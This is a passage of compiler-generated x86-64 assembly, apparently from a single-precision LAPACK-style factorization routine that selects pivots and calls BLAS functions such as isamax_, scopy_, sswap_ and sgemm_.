pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L236
movss xmm0, DWORD PTR -68[rbp]
jmp .L97
.L236:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L97:
movss DWORD PTR -96[rbp], xmm0
jmp .L98
.L94:
pxor xmm0, xmm0
movss DWORD PTR -96[rbp], xmm0
.L98:
mov eax, DWORD PTR -160[rbp]
cmp eax, 1
jle .L99
mov eax, DWORD PTR -160[rbp]
sub eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
lea rax, -180[rbp]
lea rdx, c__1[rip]
mov rsi, rcx
mov rdi, rax
call isamax_@PLT
mov DWORD PTR -60[rbp], eax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -60[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L237
movss xmm0, DWORD PTR -68[rbp]
jmp .L102
.L237:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L102:
movss DWORD PTR -56[rbp], xmm0
movss xmm0, DWORD PTR -56[rbp]
comiss xmm0, DWORD PTR -96[rbp]
jbe .L99
movss xmm0, DWORD PTR -56[rbp]
movss DWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -60[rbp]
mov DWORD PTR -124[rbp], eax
.L99:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -160[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L238
movss xmm0, DWORD PTR -68[rbp]
jmp .L106
.L238:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L106:
movss xmm1, DWORD PTR -76[rbp]
mulss xmm1, DWORD PTR -96[rbp]
comiss xmm1, xmm0
seta al
xor eax, 1
test al, al
je .L107
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -132[rbp], eax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -152[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov DWORD PTR -128[rbp], 1
jmp .L108
.L107:
mov eax, DWORD PTR -148[rbp]
cmp DWORD PTR -124[rbp], eax
je .L109
movss xmm0, DWORD PTR -108[rbp]
comiss xmm0, DWORD PTR -96[rbp]
jb .L239
.L109:
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -132[rbp], eax
mov DWORD PTR -120[rbp], 2
mov DWORD PTR -128[rbp], 1
jmp .L108
.L239:
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR -148[rbp], eax
movss xmm0, DWORD PTR -96[rbp]
movss DWORD PTR -108[rbp], xmm0
mov eax, DWORD PTR -124[rbp]
mov DWORD PTR -160[rbp], eax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -152[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
.L108:
cmp DWORD PTR -128[rbp], 0
jne .L91
jmp .L92
.L91:
mov eax, DWORD PTR -152[rbp]
sub eax, DWORD PTR -120[rbp]
add eax, 1
mov DWORD PTR -136[rbp], eax
mov rax, QWORD PTR -216[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
add edx, eax
mov rax, QWORD PTR -208[rbp]
mov ecx, DWORD PTR [rax]
mov eax, edx
sub eax, ecx
mov DWORD PTR -32[rbp], eax
cmp DWORD PTR -120[rbp], 2
jne .L112
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -152[rbp]
cmp edx, eax
je .L112
mov eax, DWORD PTR -152[rbp]
mov edx, DWORD PTR -148[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -148[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -148[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -148[rbp]
lea ecx, 1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
mov rcx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov eax, DWORD PTR -148[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -148[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -148[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -136[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -32[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -148[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -32[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -264[rbp]
mov rdx, QWORD PTR -264[rbp]
lea rax, -180[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L112:
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -136[rbp]
cmp edx, eax
je .L113
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -136[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -132[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov edx, DWORD PTR -132[rbp]
sub eax, edx
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -132[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -132[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -132[rbp]
lea ecx, 1[rax]
mov eax, DWORD PTR -136[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
mov rcx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rcx
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov eax, DWORD PTR -132[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -136[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rcx+rax]
lea rax, -132[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -136[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -136[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -132[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -136[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -136[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -136[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -32[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -132[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -32[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -136[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -264[rbp]
mov rdx, QWORD PTR -264[rbp]
lea rax, -180[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L113:
cmp DWORD PTR -120[rbp], 1
jne .L114
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
cdqe
add rax, 1
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rcx+rax]
lea rax, -152[rbp]
lea r8, c__1[rip]
mov rcx, rdx
lea rdx, c__1[rip]
mov rdi, rax
call scopy_@PLT
mov eax, DWORD PTR -152[rbp]
cmp eax, 1
jle .L89
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -68[rbp], xmm0
movss xmm0, DWORD PTR -68[rbp]
pxor xmm1, xmm1
comiss xmm0, xmm1
jb .L240
movss xmm0, DWORD PTR -68[rbp]
jmp .L117
.L240:
movss xmm0, DWORD PTR -68[rbp]
movss xmm1, DWORD PTR .LC8[rip]
xorps xmm0, xmm1
.L117:
comiss xmm0, DWORD PTR -72[rbp]
jb .L241
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, xmm1
movss DWORD PTR -144[rbp], xmm0
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rdx, rax
lea rsi, -144[rbp]
lea rax, -180[rbp]
lea rcx, c__1[rip]
mov rdi, rax
call sscal_@PLT
jmp .L89
.L241:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
pxor xmm1, xmm1
ucomiss xmm0, xmm1
jp .L222
pxor xmm1, xmm1
comiss xmm0, xmm1
je .L89
.L222:
mov eax, DWORD PTR -152[rbp]
sub eax, 1
mov DWORD PTR -180[rbp], eax
mov DWORD PTR -116[rbp], 1
jmp .L121
.L122:
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -116[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -116[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
divss xmm0, xmm1
movss DWORD PTR [rax], xmm0
add DWORD PTR -116[rbp], 1
.L121:
mov eax, DWORD PTR -180[rbp]
cmp DWORD PTR -116[rbp], eax
jle .L122
jmp .L89
.L114:
mov eax, DWORD PTR -152[rbp]
cmp eax, 2
jle .L123
mov eax, DWORD PTR -152[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -28[rbp], xmm0
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
divss xmm0, DWORD PTR -28[rbp]
movss DWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -152[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
divss xmm0, DWORD PTR -28[rbp]
movss DWORD PTR -44[rbp], xmm0
movss xmm0, DWORD PTR -48[rbp]
mulss xmm0, DWORD PTR -44[rbp]
movss xmm2, DWORD PTR .LC0[rip]
movaps xmm1, xmm0
subss xmm1, xmm2
movss xmm0, DWORD PTR .LC0[rip]
divss xmm0, xmm1
movss DWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -152[rbp]
sub eax, 2
mov DWORD PTR -180[rbp], eax
mov DWORD PTR -156[rbp], 1
jmp .L124
.L125:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, DWORD PTR -48[rbp]
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
divss xmm0, DWORD PTR -28[rbp]
mov eax, DWORD PTR -152[rbp]
sub eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
mulss xmm0, DWORD PTR -40[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
mulss xmm0, DWORD PTR -44[rbp]
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rax, rdx
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
divss xmm0, DWORD PTR -28[rbp]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rdx
mulss xmm0, DWORD PTR -40[rbp]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -156[rbp]
add eax, 1
mov DWORD PTR -156[rbp], eax
.L124:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -180[rbp]
cmp edx, eax
jle .L125
.L123:
mov eax, DWORD PTR -152[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -36[rbp]
sub eax, 1
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
lea ecx, -1[rax]
mov eax, DWORD PTR -152[rbp]
sub eax, 1
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -152[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
lea ecx, -1[rax]
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
mov eax, DWORD PTR -36[rbp]
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -152[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
add rdx, rax
mov eax, DWORD PTR -152[rbp]
imul eax, DWORD PTR -92[rbp]
mov ecx, eax
mov eax, DWORD PTR -152[rbp]
add eax, ecx
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
.L89:
cmp DWORD PTR -120[rbp], 1
jne .L126
mov eax, DWORD PTR -152[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rdx, rax
mov eax, DWORD PTR -132[rbp]
mov DWORD PTR [rdx], eax
jmp .L127
.L126:
mov edx, DWORD PTR -148[rbp]
mov eax, DWORD PTR -152[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rcx
neg edx
mov DWORD PTR [rax], edx
mov edx, DWORD PTR -132[rbp]
mov eax, DWORD PTR -152[rbp]
cdqe
sal rax, 2
lea rcx, -4[rax]
mov rax, QWORD PTR -248[rbp]
add rax, rcx
neg edx
mov DWORD PTR [rax], edx
.L127:
mov eax, DWORD PTR -152[rbp]
sub eax, DWORD PTR -120[rbp]
mov DWORD PTR -152[rbp], eax
jmp .L70
.L251:
nop
.L74:
mov rax, QWORD PTR -216[rbp]
mov eax, DWORD PTR [rax]
neg eax
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -152[rbp]
lea ecx, -1[rax]
mov rax, QWORD PTR -216[rbp]
mov ebx, DWORD PTR [rax]
mov eax, ecx
cdq
idiv ebx
mov edx, eax
mov rax, QWORD PTR -216[rbp]
mov eax, DWORD PTR [rax]
imul eax, edx
add eax, 1
mov DWORD PTR -156[rbp], eax
jmp .L128
.L134:
mov rax, QWORD PTR -216[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -176[rbp], eax
mov eax, DWORD PTR -152[rbp]
mov edx, DWORD PTR -156[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -172[rbp], eax
mov edx, DWORD PTR -176[rbp]
mov eax, DWORD PTR -172[rbp]
cmp edx, eax
cmovle eax, edx
mov DWORD PTR -140[rbp], eax
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -140[rbp]
add eax, edx
sub eax, 1
mov DWORD PTR -176[rbp], eax
mov eax, DWORD PTR -156[rbp]
mov DWORD PTR -112[rbp], eax
jmp .L129
.L130:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -112[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -172[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -168[rbp], eax
mov eax, DWORD PTR -112[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -36[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -112[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea r10, [rdx+rax]
mov r8, QWORD PTR -240[rbp]
lea rdx, -168[rbp]
lea rax, -172[rbp]
sub rsp, 8
lea rdi, c__1[rip]
push rdi
push rsi
lea rsi, c_b10[rip]
push rsi
push QWORD PTR -264[rbp]
push rcx
mov r9, r8
mov r8, r10
lea rcx, c_b9[rip]
mov rsi, rax
lea rdi, .LC7[rip]
call sgemv_@PLT
add rsp, 48
add DWORD PTR -112[rbp], 1
.L129:
mov eax, DWORD PTR -176[rbp]
cmp DWORD PTR -112[rbp], eax
jle .L130
mov eax, DWORD PTR -156[rbp]
cmp eax, 1
jle .L131
mov eax, DWORD PTR -156[rbp]
sub eax, 1
mov DWORD PTR -176[rbp], eax
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -152[rbp]
sub eax, edx
mov DWORD PTR -172[rbp], eax
mov eax, DWORD PTR -156[rbp]
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rdi, [rdx+rax]
mov eax, DWORD PTR -36[rbp]
add eax, 1
imul eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -156[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -256[rbp]
lea rsi, [rdx+rax]
mov eax, DWORD PTR -152[rbp]
add eax, 1
imul eax, DWORD PTR -92[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
lea r8, -172[rbp]
lea rdx, -140[rbp]
lea rax, -176[rbp]
sub rsp, 8
push QWORD PTR -240[rbp]
push rdi
lea rdi, c_b10[rip]
push rdi
push QWORD PTR -264[rbp]
push rsi
push QWORD PTR -240[rbp]
push rcx
lea r9, c_b9[rip]
mov rcx, rdx
mov rdx, rax
lea rsi, .LC9[rip]
lea rdi, .LC7[rip]
call sgemm_@PLT
add rsp, 64
.L131:
mov edx, DWORD PTR -156[rbp]
mov eax, DWORD PTR -180[rbp]
add eax, edx
mov DWORD PTR -156[rbp], eax
.L128:
mov eax, DWORD PTR -180[rbp]
test eax, eax
jns .L132
mov eax, DWORD PTR -156[rbp]
test eax, eax
setg al
jmp .L133
.L132:
mov eax, DWORD PTR -156[rbp]
cmp eax, 1
setle al
.L133:
test al, al
jne .L134
mov eax, DWORD PTR -152[rbp]
add eax, 1
mov DWORD PTR -156[rbp], eax
.L135:
mov DWORD PTR -120[rbp], 1
mov DWORD PTR -104[rbp], 1
mov eax, DWORD PTR -156[rbp]
mov DWORD PTR -112[rbp], eax
mov eax, DWORD PTR -156[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
mov DWORD PTR -100[rbp], eax
cmp DWORD PTR -100[rbp], 0
jns .L136
neg DWORD PTR -100[rbp]
mov eax, DWORD PTR -156[rbp]
add eax, 1
mov DWORD PTR -156[rbp], eax
mov eax, DWORD PTR -156[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -248[rbp]
add rax, rdx
mov eax, DWORD PTR [rax]
neg eax
mov DWORD PTR -104[rbp], eax
mov DWORD PTR -120[rbp], 2
.L136:
mov eax, DWORD PTR -156[rbp]
add eax, 1
mov DWORD PTR -156[rbp], eax
mov eax, DWORD PTR -100[rbp]
cmp eax, DWORD PTR -112[rbp]
je .L137
mov rax, QWORD PTR -208[rbp]
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -156[rbp]
cmp edx, eax
jl .L137
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -156[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
mov eax, DWORD PTR -156[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -112[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -156[rbp]
imul eax, DWORD PTR -92[rbp]
mov edx, eax
mov eax, DWORD PTR -100[rbp]
add eax, edx
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -232[rbp]
lea rsi, [rdx+rax]
mov rdi, QWORD PTR -240[rbp]
mov rdx, QWORD PTR -240[rbp]
lea rax, -180[rbp]
mov r8, rdi
mov rdi, rax
call sswap_@PLT
.L137:
mov eax, DWORD PTR -156[rbp]
sub eax, 1
mov DWORD PTR -112[rbp], eax
mov eax, DWORD PTR -104[rbp]
cmp eax, DWORD PTR -112[rbp]
je .L138
cmp DWORD PTR -120[rbp], 2
jne .L138
mov rax, QWORD PTR -208[rbp]
mov eax, DWORD PTR [rax]
mov edx, DWORD PTR -156[rbp]
sub eax, edx
add eax, 1
mov DWORD PTR -180[rbp], eax
